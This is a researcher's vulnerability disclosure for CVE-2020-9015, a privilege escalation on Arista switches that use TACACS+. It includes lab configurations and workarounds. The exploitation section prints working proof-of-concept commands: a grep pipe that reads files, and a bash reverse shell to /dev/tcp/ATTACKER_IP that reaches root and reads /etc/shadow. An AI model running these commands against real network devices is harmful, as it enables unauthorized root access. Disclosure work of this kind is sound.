Description

[CVE]: CVE-2020-9015

Implementing TACACS+ with Arista switch versions < 4.23.1F for “Read-Only” users can circumvent using the built-in roles supplied to restrict any bash commands, leading to privilege escalation. This exploit is a combination of a poorly configured TACACS+ (tac_plus) AAA server and Arista’s alternative CLI shells.

[Class]: Incorrect Access Control

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

[Attack Type]: Local

To exploit the vulnerability, the attacker needs to be logged into the operating system on a local machine or a guest operating system.

[Vendors]: TACACS+ and Arista

The vendors involved in this vulnerability are a combination of Arista and TACACS+ or any TACACS+ Open-Source derivatives of tac_plus.

  • TACACS is an open standard that was popularized by Cisco’s TACACS+. Along with TACACS+ and TACACS there is an additional implementation, XTACACS. After Cisco Open-Sourced TACACS+ in the early 1990’s many derivatives were created and quickly adopted and widely used like many Open-Source projects. The main goal of TACACS+ is control access to UNIX terminals and in this case provide Arista switches with authentication, authorization and accounting services.
  • Arista Networks role in this vulnerability is largely due to their CLI flexibility. Arista’s documentation regarding their Command-Line Interface (CLI) states EOS is the main CLI which is the main interface users are dropped into for controlling the switch and displaying information. However, there are other CLI’s available, namely the Bash shell. According to their documentation the Bash shell should be accessible in all command modes except EXEC mode 1, which is the default mode before entering Privileged EXEC mode 2.

[Affected Product Codebase]: TACACS+ Codebase

My testing includes Open-Source tac_plus implementations:

  • For Ubuntu distributions, launchpad.net provides packages for tac_plus on 14.04, 16.04, 18.04, 19.04 and 19.10. This Open-Source implementation of TACACS+ is sourced from shrubbery.net and is the go-to for most people.
  • Marc Huber has a more updated tac_plus project that is widely used. The last modified source code of the project at the time of writing this was updated in the current year, 2020. This source is included in my testing and is vulnerable.

[Affected Product Codebase]: Arista Codebase

Affected Arista Versions

  • < 4.23.1F

     

Info

“When you see a CVE Entry that is “DISPUTED”, we encourage you to research the issue through the references or by contacting the affected vendor or developer for more information.” - MITRE

Arista Networks Dispute:

Arista Networks is currently disputing my claim that the problem is within their product. However, I do agree that it takes TACACS+ and Arista switches coupled with their no-password sudoers to fully exploit and not solely on Arista Networks. This is where we fundamentally disagree.

     

Lab Details

TACACS+

  • tac_plus Version: 202001211926/PCRE/DES
  • Example Configuration:

tacplus.conf

group = read {
    default service = permit
    service = shell {
        default attribute = permit
        default command = deny
        set priv-lvl = 15
        cmd = "|" {
            permit /^grep .*/
        }
        cmd = cli { permit .* }
        cmd = enable { permit .* }
        cmd = exit { permit .* }
        cmd = help { permit .* }
        cmd = logout { permit .* }
        cmd = ping { permit .* }
        cmd = routing-context { permit .* }
        cmd = show { permit .* }
        cmd = tcpdump { permit .* }
        cmd = terminal { permit .* }
        cmd = traceroute { permit .* }
        cmd = watch { permit .* }
        cmd = who { permit .* }
    message deny = "Command not allowed."
    }
}

Arista

  • Software Version: 4.20.9M
  • Hardware: DCS-7050QX-32S-R
Info

Additional Vulnerable Tested Hardware/Software Combinations:

  • DCS-7280SRAM-48C6-R – 4.22.0.1F
  • DCS-7050CX3-32S-R – 4.20.11M
  • DCS-7050QX-32S-R – 4.20.9M

     

Exploitation

First I will show Arista role, version and current restrictions and then how the exploitation works.

Arista “Read-Only” User Details

Below are details of a TACACS+ managed “Read-Only” user:

Current built-in roles (in this case not used)

show role
DCS7050QX#show role
The default role is network-admin

role: network-operator
    10 deny mode exec command configure|bash|python-shell|\|
    20 permit mode exec command .*

           

Arista Version

show version
DCS7050QX#show version
Arista DCS-7050QX-32S-R
Hardware version:    01.32
Serial number:       JPE15514396
System MAC address:  444c.a84d.3dd3

Software image version: 4.20.9M
Architecture:           i386
Internal build version: 4.20.9M-9732889.4209M
Internal build ID:      8ff5c7bc-824a-4d97-b175-141213815e32

Uptime:                 70 weeks, 0 days, 5 hours and 56 minutes
Total memory:           3818208 kB
Free memory:            1555400 kB

           

Python shell availability

python-shell
DCS7050QX#python-shell
% Authorization denied for command 'python-shell'

           

Bash shell availability

bash
DCS7050QX#bash
% Authorization denied for command 'bash'

           

File read command availability

more file:home/cvetest/.bashrc
DCS7050QX#more file:home/cvetest/.bashrc
% Authorization denied for command 'more file:home/cvetest/.bashrc'

           

Arista “Read-Only” Privilege Escalation

           

File read POC

Arista Victim

show version | grep '' ./.bashrc
DCS7050QX#show version | grep '' ./.bashrc
# .bashrc

# Source global definitions
if [ -f /etc/bashrc ]; then
        . /etc/bashrc
fi

# Uncomment the following line if you don't like systemctl's auto-paging feature:
# export SYSTEMD_PAGER=

# User specific aliases and functions

           

Reverse Shell Privilege Escalation POC

Arista Victim

show run | grep '' | bash -c "bash -i >& /dev/tcp/ATTACKER_IP/666 0>&1 2>&1 &"
DCS7050QX#show run | grep '' | bash -c "bash -i >& /dev/tcp/192.168.225.120/666 0>&1 2>&1 &"
DCS7050QX#

           

Attacker

nc -lvnp 666
root@kali:~# nc -lvnp 666
listening on [any] 666 ...
connect to [192.168.225.120] from (UNKNOWN) [192.168.224.2] 54853
bash: cannot set terminal process group (31805): Inappropriate ioctl for device
bash: no job control in this shell

Arista Networks EOS shell

[cvetest@DCS7050QX ~]$ whoami;sudo -i
whoami
cvetest
whoami
root
head -3 /etc/shadow
root:*:17817:0:99999:7:::
bin:*:15558:0:99999:7:::
daemon:*:15558:0:99999:7:::
exit
root@kali:~#

     

Mitigations

Are you Vulnerable?

  • Try testing with the Metasploit code I wrote.
  • Are you using TACACS+ for AAA on your Arista switches?
  • Are you allowing pipe | chaining?

Workarounds

There are several workarounds to this vulnerability. Below are some suggestions:

  • Use the built-in roles Arista supplies.
  • If you require grep with piping, then a better option would be to change your TACACS+ config to use the built-in include or exclude commands and deny all others.
  • Change your TACACS+ config to remove pipe chaining altogether. Example:

tacplus.conf

group = read {
    default service = permit
    service = shell {
        default attribute = permit
        default command = deny
        set priv-lvl = 15
        cmd = enable { permit .* }
        cmd = exit { permit .* }
        cmd = help { permit .* }
        cmd = logout { permit .* }
        cmd = ping { permit .* }
        cmd = show { permit .* }
        cmd = terminal { permit .* }
        cmd = traceroute { permit .* }
        cmd = who { permit .* }
    }
}

  1. EXEC: EXEC mode commands display system information, perform basic tests, connect to remote devices, and change terminal settings. When logging into EOS, you enter EXEC mode. ↩︎

  2. Privileged EXEC: Privileged EXEC mode commands configure operating and global parameters. The list of Privileged EXEC commands is a superset of the EXEC command set. You can configure EOS to require password access to enter Privileged EXEC from EXEC mode. ↩︎